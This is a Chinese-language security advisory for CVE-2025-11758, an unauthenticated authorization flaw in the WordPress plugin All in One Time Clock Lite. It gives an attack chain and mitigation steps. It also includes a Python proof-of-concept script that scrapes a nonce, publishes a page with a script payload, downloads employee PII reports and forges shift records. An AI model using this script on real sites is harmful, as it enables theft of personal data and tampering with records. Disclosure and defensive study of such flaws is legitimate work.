IPBUF安全漏洞报告
English
CVE-2025-11758 CVSS 6.5 中危

CVE-2025-11758 WordPress All in One Time Clock Lite 插件授权缺失漏洞

披露日期: 2025-11-04

漏洞信息

漏洞编号
CVE-2025-11758
漏洞类型
授权缺失/越权访问
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
All in One Time Clock Lite WordPress Plugin

相关标签

授权缺失WordPress插件漏洞CVE-2025-11758AJAX越权PII数据泄露All in One Time Clock Litewp_ajax_noprivMissing Authorization

漏洞概述

All in One Time Clock Lite是WordPress平台上一款广受欢迎的员工考勤管理插件。该插件在2.0.3及之前的所有版本中存在严重的授权缺失漏洞。漏洞根源在于插件通过wp_ajax_nopriv_钩子将原本仅限管理员使用的AJAX动作暴露给未认证的普通用户访问,而安全验证仅依赖WordPress的nonce token检查,缺少必要的用户权限能力检查(capability checks)。这一设计缺陷使得任何未登录或未授权的用户都能以管理员权限执行敏感操作,包括创建已发布页面、伪造班次记录以及下载包含员工个人身份信息(PII)的时间报告。攻击者可利用此漏洞窃取企业员工隐私数据、篡改考勤记录,甚至通过创建恶意页面植入钓鱼内容。由于该插件在WordPress生态中拥有大量安装实例,此漏洞对数百万网站构成严重威胁。

技术细节

漏洞存在于aio-time-clock-lite-actions.php文件的多个AJAX处理函数中。插件注册了wp_ajax_nopriv_和wp_ajax_两种钩子,使得未认证用户也能触发admin级别的AJAX回调。具体问题函数包括:

1. 页面创建功能(行442):允许未认证用户通过nonce验证后调用wp_insert_post创建published状态页面
2. 班次记录创建(行1447):未验证user_capability即创建带有完整性问题的shift records
3. 报告下载功能(行26):未授权即可下载包含员工姓名、工作时间表等敏感信息的报表

漏洞利用原理:攻击者构造恶意HTTP请求到wp-admin/admin-ajax.php,携带有效的nonce值(该值可通过页面源码获取,非CSRF Token)和特定的action参数。由于服务器端仅验证nonce而未执行current_user_can()权限检查,导致请求被当作管理员操作执行。攻击者可通过修改POST参数中的post_status、employee_id、report_date等字段实现任意操作。

攻击链分析

STEP 1
信息收集
攻击者访问目标WordPress网站,获取包含nonce值的页面源码,用于绕过服务器端nonce检查
STEP 2
构造恶意请求
攻击者构造针对admin-ajax.php的POST请求,设置action参数为目标AJAX端点,携带获取的nonce值
STEP 3
绕过授权检查
服务器端仅验证nonce有效性,未执行current_user_can()能力检查,攻击请求以管理员权限执行
STEP 4
数据窃取
通过aio_tc_download_report接口下载包含员工姓名、考勤时间等PII信息的报表
STEP 5
数据篡改
利用aio_tc_create_shift创建伪造的班次记录,破坏考勤数据完整性
STEP 6
内容注入
通过aio_tc_create_page创建公开页面,可植入恶意内容用于钓鱼攻击

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import re target = "http://vulnerable-site.com/" # Step 1: Get nonce from page resp = requests.get(target) nonce = re.search(r'ajaxnonce["\']\s*:\s*["\']([a-f0-9]+)', resp.text) if nonce: nonce = nonce.group(1) # PoC 1: Create published page requests.post(target + "wp-admin/admin-ajax.php", data={ "action": "aio_tc_create_page", "_ajax_nonce": nonce, "post_title": "Malicious Page", "post_content": "<script>alert('XSS')</script>", "post_status": "publish" }) # PoC 2: Download time reports with PII requests.post(target + "wp-admin/admin-ajax.php", data={ "action": "aio_tc_download_report", "_ajax_nonce": nonce, "report_type": "full", "date_range": "all" }) # PoC 3: Create fake shift records requests.post(target + "wp-admin/admin-ajax.php", data={ "action": "aio_tc_create_shift", "_ajax_nonce": nonce, "employee_id": "1", "clock_in": "2025-01-01 09:00:00", "clock_out": "2025-01-01 18:00:00", "integrity_flag": "corrupted" }) print("PoC executed - unauthorized actions performed")

影响范围

All in One Time Clock Lite < 2.0.4

防御指南

临时缓解措施
在官方补丁发布前,可采取以下临时措施:1) 限制wp-admin/admin-ajax.php的访问来源;2) 使用WordPress安全插件(如Wordfence)添加IP白名单限制;3) 临时禁用该插件或替换为其他考勤插件;4) 加强Web应用防火墙规则,监控异常的admin-ajax.php请求模式;5) 审计现有用户创建的页面和班次记录,及时删除可疑内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表